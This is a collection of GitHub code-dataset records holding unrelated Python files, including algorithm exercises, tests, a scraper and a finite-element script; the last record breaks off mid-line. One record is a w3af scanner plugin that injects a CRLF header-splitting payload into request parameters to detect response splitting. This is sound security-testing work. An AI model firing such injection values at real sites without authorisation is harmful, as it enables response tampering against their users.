+{"seq_id":"11032775728","text":"\"\"\"\n@author Austin Cepalia acc5989@rit.edu \n\"\"\"\nimport numpy as np\nimport editdistance \n\ndef cleanup_labels(data):\n data.sort()\n filtered = []\n\n search_range = 2\n threshold = 8\n\n i = 0\n while i < len(data):\n lower = i - search_range\n upper = i + search_range\n try:\n for word in data[lower:upper]:\n add = False\n for word2 in data[lower:upper]:\n if not word2 in filtered and editdistance.eval(word, word2) > threshold:\n add = True \n if add:\n filtered.append(word)\n except Exception:\n continue\n i += search_range\n\n # remove duplicates\n final = []\n for i in filtered:\n if i not in final:\n final.append(i)\n\n return final","repo_name":"sxg9999/DataMiningProject","sub_path":"clean_labels.py","file_name":"clean_labels.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12516208507","text":"import heapq\n\n\ndef ugly_number(n):\n # Time complexity: O(nlogn)\n # Space complexity: O(n)\n q = [1]\n seen = {1}\n for i in range(n-1):\n u = heapq.heappop(q)\n for nu in [2*u, 3*u, 5*u]:\n if not nu in seen:\n heapq.heappush(q, nu)\n seen.add(nu)\n return heapq.heappop(q)\n\n\ndef is_ugly(n):\n if n <= 0:\n return False\n for p in [2, 3, 5]:\n while n % p == 0:\n n = n // p\n return n == 1\n\n\nif __name__ == '__main__':\n print(ugly_number(10))\n print(is_ugly(6), is_ugly(7), is_ugly(8), is_ugly(1))\n","repo_name":"satojkovic/algorithms","sub_path":"problems/ugly_number.py","file_name":"ugly_number.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"9473570963","text":"N = int(input())\nH = list(map(int, input().split()))\n\ndp = []\n\nfor i in range(N):\n if i >= 2:\n route_a = dp[i-1] + abs(H[i-1]-H[i])\n route_b = dp[i-2] + abs(H[i-2]-H[i])\n dp.append(min(route_a, route_b))\n elif i == 1:\n dp.append(abs(H[1]-H[0]))\n else:\n dp.append(0)\nans = dp[-1]\nprint(ans)\n\n","repo_name":"ishida722/atcoder-study","sub_path":"EDPC/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24885342294","text":"import pytest\nfrom datetime import datetime\n\nfrom src.inspetor.model.inspetor_account import InspetorAccount\nfrom src.inspetor.model.inspetor_address import InspetorAddress\nfrom src.inspetor.exception.model_exception.inspetor_account_exception import InspetorAccountException\n\nclass TestInspetorAccount:\n\n def get_default_account(self):\n account = InspetorAccount()\n account.id = \"123\"\n account.name = \"Test\"\n account.email = \"test@email.com\"\n account.document = \"12312312312\"\n account.phoneNumber = \"112345678\"\n account.address = self.get_default_address()\n account.timestamp = datetime.timestamp(datetime.now())\n\n return account\n\n def get_default_address(self):\n address = InspetorAddress()\n address.street = \"Test Stree\"\n address.number = \"123\"\n address.zip_code = \"123456\"\n address.city = \"Test City\"\n address.state = \"Test State\"\n address.country = \"Test Country\"\n address.latitude = \"123\"\n address.longitude = \"123\"\n\n return address\n\n def test_if_is_valid(self):\n account = self.get_default_account()\n assert account.is_valid() is None","repo_name":"legiti/inspetor-python","sub_path":"tests/inspetor/model/inspetor_account_test.py","file_name":"inspetor_account_test.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"42563320074","text":"from __future__ import with_statement\n\nimport core.controllers.outputManager as om\n\n# options\nfrom core.data.options.option import option\nfrom core.data.options.optionList import optionList\n\nfrom core.controllers.basePlugin.baseAuditPlugin import baseAuditPlugin\nfrom core.data.fuzzer.fuzzer import createMutants\n\nimport core.data.kb.knowledgeBase as kb\nimport core.data.kb.vuln as vuln\nimport core.data.kb.info as info\nimport core.data.constants.severity as severity\n\nHEADER_NAME = 'vulnerable073b'\nHEADER_VALUE = 'ae5cw3af'\n\nclass responseSplitting(baseAuditPlugin):\n '''\n Find response splitting vulnerabilities.\n @author: Andres Riancho ( andres.riancho@gmail.com )\n '''\n\n def __init__(self):\n baseAuditPlugin.__init__(self)\n\n def audit(self, freq ):\n '''\n Tests an URL for response splitting vulnerabilities.\n \n @param freq: A fuzzableRequest\n '''\n om.out.debug( 'responseSplitting plugin is testing: ' + freq.getURL() )\n \n rsList = self._get_header_inj()\n mutants = createMutants( freq , rsList )\n \n for mutant in mutants:\n \n # Only spawn a thread if the mutant has a modified variable\n # that has no reported bugs in the kb\n if self._hasNoBug( 'responseSplitting' , 'responseSplitting',\\\n mutant.getURL() , mutant.getVar() ):\n \n targs = (mutant,)\n self._tm.startFunction( target=self._sendMutant, args=targs, ownerObj=self )\n \n self._tm.join( self )\n \n def _get_errors( self ):\n '''\n @return: A list of error strings produced by the programming framework when\n we try to modify a header, and the HTML output is already being written to\n the cable, or something similar.\n '''\n res = []\n res.append( 'Header may not contain more than a single header, new line detected' )\n res.append( 'Cannot modify header information - headers already sent' )\n return res\n \n def _analyzeResult( self, mutant, response ):\n '''\n Analyze results of the _sendMutant method.\n '''\n #\n # Only one thread at the time can enter here. This is because I want to report each\n # vulnerability only once, and by only adding the \"if self._hasNoBug\" statement, that\n # could not be done.\n #\n with self._plugin_lock:\n \n #\n # I will only report the vulnerability once.\n #\n if self._hasNoBug( 'responseSplitting' , 'responseSplitting' ,\\\n mutant.getURL() , mutant.getVar() ):\n \n # When trying to send a response splitting to php 5.1.2 I get :\n # Header may not contain more than a single header, new line detected\n for error in self._get_errors():\n \n if error in response:\n msg = 'The variable \"' + mutant.getVar() + '\" of the URL ' + mutant.getURL()\n msg += ' modifies the headers of the response, but this error was sent while'\n msg += ' testing for response splitting: \"' + error + '\"'\n \n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n\n return\n \n if self._header_was_injected( response ):\n v = vuln.vuln( mutant )\n v.setPluginName(self.getName())\n v.setDesc( 'Response Splitting was found at: ' + mutant.foundAt() )\n v.setId( response.id )\n v.setSeverity(severity.MEDIUM)\n v.setName( 'Response splitting vulnerability' )\n kb.kb.append( self, 'responseSplitting', v )\n \n def end(self):\n '''\n This method is called when the plugin wont be used anymore.\n '''\n self._tm.join( self )\n self.printUniq( kb.kb.getData( 'responseSplitting', 'responseSplitting' ), 'VAR' )\n \n def _get_header_inj( self ):\n '''\n With setOptions the user entered a URL that is the one to be included.\n This method returns that URL.\n \n @return: A string, see above.\n '''\n responseSplitStrings = []\n # This will simply add a header saying : \"Vulnerable: Yes\" (if vulnerable)\n # \\r\\n will be encoded to %0d%0a\n responseSplitStrings.append(\"w3af\\r\\n\" + HEADER_NAME +\": \" + HEADER_VALUE)\n \n return responseSplitStrings\n \n def getOptions( self ):\n '''\n @return: A list of option objects for this plugin.\n ''' \n ol = optionList()\n return ol\n\n def setOptions( self, OptionList ):\n '''\n This method sets all the options that are configured using the user interface \n generated by the framework using the result of getOptions().\n \n @parameter OptionList: A dictionary with the options for the plugin.\n @return: No value is returned.\n ''' \n pass\n \n def _header_was_injected( self, response ):\n '''\n This method verifies if a header was successfully injected\n \n @parameter response: The HTTP response where I want to find the injected header.\n @return: True / False\n '''\n # Get the lower case headers\n headers = response.getLowerCaseHeaders()\n \n # Analyze injection\n for header, value in headers.items():\n if HEADER_NAME in header and value.lower() == HEADER_VALUE:\n return True\n \n elif HEADER_NAME in header and value.lower() != HEADER_VALUE:\n msg = 'The vulnerable header was added to the HTTP response, '\n msg += 'but the value is not what w3af expected ('+HEADER_NAME+': '+HEADER_VALUE+')'\n msg += ' Please verify manually.'\n om.out.information(msg)\n\n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n return False\n \n elif HEADER_NAME in value.lower():\n msg = 'The vulnerable header wasn\\'t added to the HTTP response, '\n msg += 'but the value of one of the headers was successfully modified.'\n msg += ' Please verify manually.'\n om.out.information(msg)\n\n i = info.info()\n i.setPluginName(self.getName())\n i.setDesc( msg )\n i.setId( response.id )\n i.setName( 'Parameter modifies headers' )\n kb.kb.append( self, 'responseSplitting', i )\n return False\n \n return False\n\n def getPluginDeps( self ):\n '''\n @return: A list with the names of the plugins that should be runned before the\n current one.\n '''\n return []\n \n def getLongDesc( self ):\n '''\n @return: A DETAILED description of the plugin functions and features.\n '''\n return '''\n This plugin will find response splitting vulnerabilities. \n \n The detection is done by sending \"w3af\\\\r\\\\nVulnerable: Yes\" to every injection point, and reading the\n response headers searching for a header with name \"Vulnerable\" and value \"Yes\".\n '''\n","repo_name":"adambaldwin2/test","sub_path":"plugins/audit/responseSplitting.py","file_name":"responseSplitting.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"23859540388","text":"n = int(input())\narr = list(map(int, input().split()))\narr3 = []\nfor k in range(1, n+1):\n #print(k)\n arr2 = []\n z = k\n while k:\n if k in arr2:\n #print(arr1000)\n arr3.append(k)\n break\n else:\n arr2.append(k)\n k = arr[k-1]\nprint(*arr3)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Badge.py","file_name":"Badge.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"17523360928","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nimport sys\nimport threading\nimport time\nclass main():\n\n def __init__(self) -> None:\n self.window()\n thr_count = threading.Thread(target=self.countdown, args=(), kwargs={}, name='thread_function')\n thr_count.start()\n \n\n def window(self):\n #app = QApplication(sys.argv )\n #win = QMainWindow()\n #win.setGeometry(200, 200, 300, 300)\n #win.setWindowTitle(\"Egg's Screen test\")\n\n #self.count_val = 10\n #self.label = QtWidgets.QLabel(win)\n #self.label.setText(str(self.count_val))\n #self.label.move(50,50)\n #win.show()\n #sys.exit(app.exec_())\n self.count_val = 10\n print(\"window\")\n\n def countdown(self):\n print(\"counting down\")\n while(self.count_val > 0):\n self.count_val = self.count_val - 1\n print(self.count_val)\n time.sleep(1)\n \n \n \n\nm = main()","repo_name":"eggsys/python_log","sub_path":"pyqt/screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"41192627953","text":"import FWCore.ParameterSet.Config as cms\n\ngemRecHitsDef = cms.EDProducer('GEMRecHitProducer',\n recAlgoConfig = cms.PSet(),\n recAlgo = cms.string('GEMRecHitStandardAlgo'),\n gemDigiLabel = cms.InputTag('muonGEMDigis'),\n applyMasking = cms.bool(False),\n maskFile = cms.optional.FileInPath,\n deadFile = cms.optional.FileInPath,\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"RecoLocalMuon/GEMRecHit/gemRecHitsDef_cfi.py","file_name":"gemRecHitsDef_cfi.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"23432255401","text":"\r\nimport fileinput\r\n\r\ndef solveD(A,B):\r\n C = sorted(zip(A,[0]*len(A))+zip(B, [1] *len(B)), key = lambda x: x[0])\r\n \r\n aux = 0\r\n loses = 0\r\n for i in range(len(C)):\r\n if C[i][1] == 1:\r\n aux += 1\r\n elif C[i][1] == 0:\r\n aux -= 1\r\n if aux < 0:\r\n loses += 1\r\n aux = 0\r\n jane_wins_trick = len(A)-loses\r\n \r\n aux = 0\r\n for i in range(len(C)):\r\n if C[i][1] == 0:\r\n aux += 1\r\n if aux > 0 and C[i][1] == 1:\r\n aux -= 1\r\n jane_wins_normal = aux\r\n \r\n return jane_wins_trick, jane_wins_normal\r\n\r\ndef main():\r\n fin = fileinput.input()\r\n T = int(next(fin)) # number of test cases\r\n for case in range(1, T+1):\r\n N = int(next(fin)) # number of blocks\r\n A = [float(x) for x in next(fin).split(\" \")]\r\n B = [float(x) for x in next(fin).split(\" \")]\r\n R1,R2 = solveD(A, B)\r\n print(\"Case #{}: {} {}\".format(case,R1,R2))\r\n fin.close()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/1184.py","file_name":"1184.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72219133953","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 22 00:00:16 2017\n\n@author: ANEESH\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#x = np.random.randn(10,1)\n\nranges = [i for i in range(1,101)]\n\n\n\nangle = [i*np.pi/16 for i in ranges]\n\nradius = [6.5*(104-i) for i in ranges]\n\nx1 = radius*np.cos(angle)\ny1 = radius*np.sin(angle)\n\nx2=-1*x1\ny2=-1*y1\n\nplt.plot(x1,y1,c='r', label = 'Class 1')\nplt.plot(x2,y2,c='b', label = 'Class 2')\nplt.title('Not linearly separable')\nplt.xlabel('X - axis')\nplt.ylabel('Y - axis')\nplt.legend(loc='upper right')\nplt.show()","repo_name":"AneeshCEN/data_generation","sub_path":"spiral.py","file_name":"spiral.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16870301681","text":"\"\"\" Represents\n tree structure\n for each of puzzles\"\"\"\nfrom Table import Table\nimport datetime\n\nclass Node:\n Left = None; Right = None; Up = None;Down = None;\n Parent = None;\n visited = False;\n\n\n def __init__(self, k, l, m, n, o, p, r, s, t):\n self.puzzle = Table(a=k, b=l, c=m, d=n, e=o, f=p, g=r, h=s, j=t)\n\n def insertLeft(self, dictionary):\n print(\"A new node will be created and inserted to left.\")\n self.Left = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertRight(self, dictionary):\n print(\"A new node will be created and inserted to right.\")\n self.Right = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertDown(self, dictionary):\n print(\"A new node will be created and inserted to down.\")\n self.Down = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def insertUp(self, dictionary):\n print(\"A new node will be created and inserted to up.\")\n self.Up = Node \\\n (\n k=dictionary[0, 0], l=dictionary[0, 1], m=dictionary[0, 2],\n n=dictionary[1, 0], o=dictionary[1, 1], p=dictionary[1, 2],\n r=dictionary[2, 0], s=dictionary[2, 1], t=dictionary[2, 2]\n )\n\n def __eq__(self, other):\n return self.puzzle == other.puzzle\n\n def constructNeighbours(self):\n if self.puzzle.canLeft():\n print(\"Node can be shifted to left\")\n leftDict = dict(self.puzzle.shiftLeft())\n self.insertLeft(leftDict)\n self.Left.Parent = self\n print(\"Left Node:\")\n self.Left.puzzle.printTable()\n if self.puzzle.canRight():\n print(\"Node can be shifted to right\")\n rightDict = dict(self.puzzle.shiftRight())\n self.insertRight(rightDict)\n self.Right.Parent = self\n print(\"Right Node:\")\n self.Right.puzzle.printTable()\n if self.puzzle.canDown():\n print(\"Node can be shifted to down\")\n downDict = dict(self.puzzle.shiftDown())\n self.insertDown(downDict)\n self.Down.Parent = self\n print(\"Down Node:\")\n self.Down.puzzle.printTable()\n if self.puzzle.canUp():\n print(\"Node can be shifted to up\")\n upDict = dict(self.puzzle.shiftUp())\n self.insertUp(upDict)\n self.Up.Parent = self\n self.Up.puzzle.printTable()\n\n def findPathToRoot(self, startNode):\n rootOfCurrent = self.Parent\n # Find relation with its parent #\n if rootOfCurrent.Left is not None and rootOfCurrent.Left is self:\n print(\"LEFT \", u'\\N{BLACK LEFT-POINTING TRIANGLE}')\n if rootOfCurrent is startNode:\n print(\"ACHIEVED START STATE!\")\n return ;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Right is not None and rootOfCurrent.Right is self:\n print(\"RIGHT \", u'\\N{BLACK RIGHT-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Up is not None and rootOfCurrent.Up == self:\n print(\"UP\", u'\\N{BLACK UP-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n if rootOfCurrent.Down is not None and rootOfCurrent.Down == self:\n print(\"DOWN\", u'\\N{BLACK DOWN-POINTING TRIANGLE}')\n if rootOfCurrent == startNode:\n print(\"ACHIEVED START STATE!\")\n return;\n else:\n rootOfCurrent.findPathToRoot(startNode)\n\n def BFS_Serial(self, finishNode):\n \"\"\"Python's built-in List data structure\n comes bundled with methods to simulate both stack and queue operations.\"\"\"\n PQ = []\n PQ.append(self)\n self.visited = True\n self.puzzle.printTable()\n\n \"\"\" Store Timestamp When We Started To BFS Traversal\"\"\"\n startTS = datetime.datetime.now()\n while len(PQ) is not 0:\n # Pop a node from queue\n removedFromQueue = PQ.pop(0)\n removedFromQueue.puzzle.appendToVisitedPuzzles(removedFromQueue.puzzle.matrix)\n removedFromQueue.puzzle.printTable()\n if removedFromQueue == finishNode:\n print(\"ACHIEVED GOAL STATE!\")\n finishTS = datetime.datetime.now()\n print(\"Start Time: {}:{}.{}.{} \".format(startTS.hour, startTS.minute, startTS.second,\n startTS.microsecond))\n print(\"Finish Time: {}:{}.{}.{} \".format(finishTS.hour, finishTS.minute, finishTS.second,\n finishTS.microsecond))\n print(\"Processing Time: {}\".format(finishTS.microsecond - startTS.microsecond))\n removedFromQueue.findPathToRoot(self)\n return;\n\n removedFromQueue.constructNeighbours()\n if removedFromQueue.Left is not None:\n print(\"Left node exists.\")\n if removedFromQueue.Left.visited is False:\n print(\"Left node is not traversed.\")\n removedFromQueue.Left.visited = True\n PQ.append(removedFromQueue.Left)\n if removedFromQueue.Right is not None:\n print(\"Right node exists.\")\n if removedFromQueue.Right.visited is False:\n print(\"Right node is not traversed.\")\n removedFromQueue.Right.visited = True\n PQ.append(removedFromQueue.Right)\n if removedFromQueue.Up is not None:\n print(\"Up node exists.\")\n if removedFromQueue.Up.visited is False:\n print(\"Up node is not traversed.\")\n removedFromQueue.Up.visited = True\n PQ.append(removedFromQueue.Up)\n if removedFromQueue.Down is not None:\n print(\"Down node exists.\")\n if removedFromQueue.Down.visited is False:\n print(\"Down node is not traversed.\")\n removedFromQueue.Down.visited = True\n PQ.append(removedFromQueue.Down)\n\n","repo_name":"celikelozdinc/BFS_4_nxn","sub_path":"Node.py","file_name":"Node.py","file_ext":"py","file_size_in_byte":7176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"27299899682","text":"from webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver import ChromeOptions\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nimport os\nfrom time import sleep\n\n\n\nclass Data :\n \n def __init__(self,url):\n self.url = url \n self.data = self.get_data()\n \n\n def get_data(self) :\n options = ChromeOptions() \n options.add_argument(\"headless\")\n options.add_argument('--log-level=1')\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()) , options=options)\n driver.get(self.url)\n os.system('cls' if os.name == 'nt' else 'clear')\n sleep(2)\n totals = [ elem.text for elem in driver.find_elements(By.CSS_SELECTOR ,\".maincounter-number\")] \n countries = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR, 'a[href^=\"country\"]')] \n countries = [elem for elem in countries if elem] \n countries.insert(207,\"Diamond Princess\")\n countries.insert(213,\"Palau\")\n countries.insert(217,\"MS Zaandam\")\n total_cases = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \".sorting_1\")] \n total_cases = [elem for elem in total_cases if elem]\n del total_cases[0]\n total_deaths = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \"td:nth-of-type(5)\")] \n total_deaths = total_deaths[4:232]\n del total_deaths[1]\n del total_deaths[6]\n del total_deaths[32]\n del total_deaths[207]\n total_recovered = [elem.text for elem in driver.find_elements(By.CSS_SELECTOR , \"td:nth-of-type(7)\")] \n total_recovered = total_recovered[4:232]\n total_recovered = [ elem for elem in total_recovered if elem]\n countries.insert(0,'World')\n total_cases.insert(0,totals[0])\n total_deaths.insert(0,totals[1])\n total_recovered.insert(0,totals[2])\n data = {'Countries' : countries , 'Total Cases' : total_cases , 'Total Deaths' : total_deaths , 'Total Recovered' : total_recovered}\n\n return data\n\n\n def get_total_country_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Cases'][i]) == '' :\n return 0 \n return self.data['Total Cases'][i]\n\n def get_total_country_death_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Deaths'][i]) == '' :\n return 0 \n return self.data['Total Deaths'][i]\n\n def get_total_country_recovered_cases(self,country) : \n\n for i in range(len(self.data['Countries'])) :\n if str(self.data['Countries'][i]).lower() == str(country).lower() :\n if str(self.data['Total Recovered'][i]) == '' :\n return 0 \n if str(self.data['Total Recovered'][i]) == 'N/A' :\n return 'Not Available'\n return self.data['Total Recovered'][i]\n\n\n\n\n\n \n\n ","repo_name":"ChoukriLach/Corona-Scraping","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40322778792","text":"import matplotlib.pyplot as plt\nimport HierAMuS\nimport os,sys\nimport gmsh\n\ndef run(order):\n gmsh.initialize()\n gmsh.model.add(\"test\")\n gmsh.option.setNumber('General.Terminal', 0)\n\n L=10\n h=1\n b=1\n\n gmsh.model.occ.addPoint(0,0,0)\n gmsh.model.occ.addPoint(L,0,0)\n printNode=gmsh.model.occ.addPoint(L,b,0)\n gmsh.model.occ.addPoint(0,b,0)\n gmsh.model.occ.addPoint(0,0,h)\n gmsh.model.occ.addPoint(L,0,h)\n gmsh.model.occ.addPoint(L,b,h)\n gmsh.model.occ.addPoint(0,b,h)\n\n # Lines of lower face 1\n gmsh.model.occ.addLine(1,2)\n gmsh.model.occ.addLine(2,3)\n gmsh.model.occ.addLine(3,4)\n gmsh.model.occ.addLine(4,1)\n\n lowerFaceLines = [1,4,3,2]\n\n # left face liness 2\n gmsh.model.occ.addLine(1,5)\n gmsh.model.occ.addLine(5,8)\n gmsh.model.occ.addLine(8,4)\n\n leftFaceLines = [5,6,7,4]\n\n # right face lines 3\n gmsh.model.occ.addLine(2,6)\n gmsh.model.occ.addLine(6,7)\n gmsh.model.occ.addLine(7,3)\n\n rightFaceLines = [2,10,9,8]\n\n # top face lines 4\n gmsh.model.occ.addLine(5,6)\n gmsh.model.occ.addLine(7,8)\n\n topFaceLines = [12,6,11,9]\n\n # front face lines 5\n frontFaceLines = [1,8,11,5]\n\n # back face lines 6\n backFaceLines = [3,10,12,7]\n\n xlines = [1,3,11,12]\n ylines = [2,9,4,6]\n zlines = [5,7,8,10]\n\n\n # lower face 1\n cl=gmsh.model.occ.addCurveLoop(lowerFaceLines)\n f1=gmsh.model.occ.addPlaneSurface([cl])\n\n # left face 2\n cl=gmsh.model.occ.addCurveLoop(leftFaceLines)\n bounFace=gmsh.model.occ.addPlaneSurface([cl])\n\n\n # right face 3\n cl=gmsh.model.occ.addCurveLoop(rightFaceLines)\n loadFace=gmsh.model.occ.addPlaneSurface([cl])\n # top face 4\n cl=gmsh.model.occ.addCurveLoop(topFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n # front face 5\n cl=gmsh.model.occ.addCurveLoop(frontFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n # top face 6\n cl=gmsh.model.occ.addCurveLoop(backFaceLines)\n gmsh.model.occ.addPlaneSurface([cl])\n\n gmsh.model.occ.addSurfaceLoop([1,2,3,4,5,6])\n gmsh.model.occ.addVolume([1])\n\n\n gmsh.model.occ.synchronize()\n\n if order ==1:\n nx=51\n ny=5\n nz=5\n else:\n nx=26\n ny=3\n nz=3\n\n # settings the lines to be transfinite\n for i in xlines:\n gmsh.model.mesh.setTransfiniteCurve(i,nx)\n for i in ylines:\n gmsh.model.mesh.setTransfiniteCurve(i,ny)\n for i in zlines:\n gmsh.model.mesh.setTransfiniteCurve(i,nz)\n\n # setting the faces to be transfinite\n for i in [1,2,3,4,5,6]:\n gmsh.model.mesh.setTransfiniteSurface(i)\n\n # setting the volume to be transfinite\n gmsh.model.mesh.setTransfiniteVolume(1)\n\n\n gmsh.option.setNumber(\"Mesh.RecombineAll\", 1) # This option sets gmsh to recombine tetra to bricks\n\n #gmsh.fltk.run()\n gmsh.model.mesh.generate(3)\n\n\n \n path = os.path.dirname(__file__)\n fesys = HierAMuS.FEMPy(path,\"PlasticCantilever\")\n fesys.setStaticSolutionState()\n fesys.setSolver(4)\n\n mesh = fesys.getMeshCommands()\n macro = fesys.getMacroCommands()\n gm = mesh.getFromGMESH()\n geo = mesh.getGeometryCommands()\n\n macro.setLogLevel(fesys.NoLog(),fesys.NoLog())\n\n gm.addGeomFromGmsh(gmsh)\n geo.checkGeometry()\n\n gm.addVolumeElements(gmsh,1,1)\n\n mesh.getElementFormulations().addEL300_3DSolid(num=1,meshiddisp=1,disporder=order,mode=1)\n mesh.getMaterialFormulations().addMA3_SmallStrainPlasticity(1,E=100,nu=0.3,y0=10,yinf=0,xh=40,xd=0,eta=0)\n mesh.addMaterial(matNum=1,matFormNum=1,elemFormNum=1)\n\n mesh.setDegreesOfFreedom()\n\n fnums = gm.getFaceNumbers(gmsh=gmsh,tagin=bounFace,ftype=4,order=1)\n mesh.getBoundaryConditions().singleBC(eltype=geo.faceType(),number=fnums,meshId=1,dofs=[1,1,1],shapeOrder=order,set=True)\n\n fnums = gm.getFaceNumbers(gmsh=gmsh,tagin=loadFace,ftype=4,order=1)\n mesh.getBoundaryConditions().singleLoad(eltype=geo.faceType(),number=fnums,meshId=1,load=[0,1,0],propnum=1,shapeorder=order)\n\n [coor, pcoor, dim, nt] =gmsh.model.mesh.getNode(printNode)\n\n\n gmsh.finalize()\n macro.sparseSetUp()\n\n macro.setPropFunction(number=1,function=lambda t: t,tmin=0,tmax=1.01)\n macro.setPropFunction(number=1,function=lambda t: -t+2,tmin=1,tmax=3)\n macro.setDt(dt=0.1)\n\n\n solvec = [0]\n timevec= [0]\n t = 0\n fesys.getPlotCommands().toFile()\n for i in range(20):\n macro.timeincr()\n macro.newton(refResidual=1e-9)\n t += 0.1\n timevec.append(t)\n sol=macro.getSolution(geo.vertexType(),nt,1)\n solvec.append(sol[1])\n fesys.getPlotCommands().toFile()\n return timevec, solvec \n\n\nx,y = run(1)\nprint(x)\nprint(y)\n\nfig, ax = plt.subplots()\n\nax.plot(x, y, linewidth=3.0)\nprint(__file__)\n\nplt.show()","repo_name":"sklarmann/HierAMuS","sub_path":"Tests/debugtests/threeD/brick/plasticCantilever.py","file_name":"plasticCantilever.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72531162753","text":"\"\"\"\n\n\"\"\"\n# pylint: disable=line-too-long\nfrom __future__ import annotations\n\nimport abc\nimport logging as logmod\nfrom dataclasses import InitVar, dataclass, field\nfrom typing import (TYPE_CHECKING, Any, Callable, ClassVar, Final, Generic,\n Iterable, Iterator, Mapping, Match, MutableMapping,\n Protocol, Sequence, Tuple, TypeAlias, TypeGuard, TypeVar,\n cast, final, overload, runtime_checkable)\n\nlogging = logmod.getLogger(__name__)\n\nif TYPE_CHECKING:\n # tc only imports\n pass\n\n@dataclass\nclass AcabProtocolError(BaseException):\n \"\"\"\n Error for reporting when classes do not fully implement their abstract methods or protocols\n \"\"\"\n target : type = field()\n protocol : None|Protocol = field(default=None)\n\n @staticmethod\n def assert_implements(proto:type, *, exceptions:None|list[str]|set[str]|frozenset[str]=None, error:bool=True) -> Callable[..., type]: #type:ignore\n \"\"\"\n Raise an Error if the decorated class has abstractmethods found in the protocol\n \"\"\"\n exceptions = set(exceptions or [])\n assert(hasattr(proto, '__abstractmethods__')), \"Protocols must be abstract\" #type:ignore\n assert(isinstance(exceptions, set))\n proto_abs : set[str] = set(proto.__abstractmethods__) - exceptions #type:ignore\n def __wrapper(target_cls : type) -> type:\n has_abstract : bool = hasattr(target_cls, '__abstractmethods__')\n has_all_methods : bool = all([hasattr(target_cls, x) for x in proto_abs])\n if not has_abstract and has_all_methods:\n return target_cls\n\n if not has_all_methods:\n if error:\n raise AcabProtocolError(target_cls, proto)\n logging.warning(str(AcabProtocolError(target_cls, proto)))\n\n if has_abstract and bool(target_cls.__abstractmethods__ & 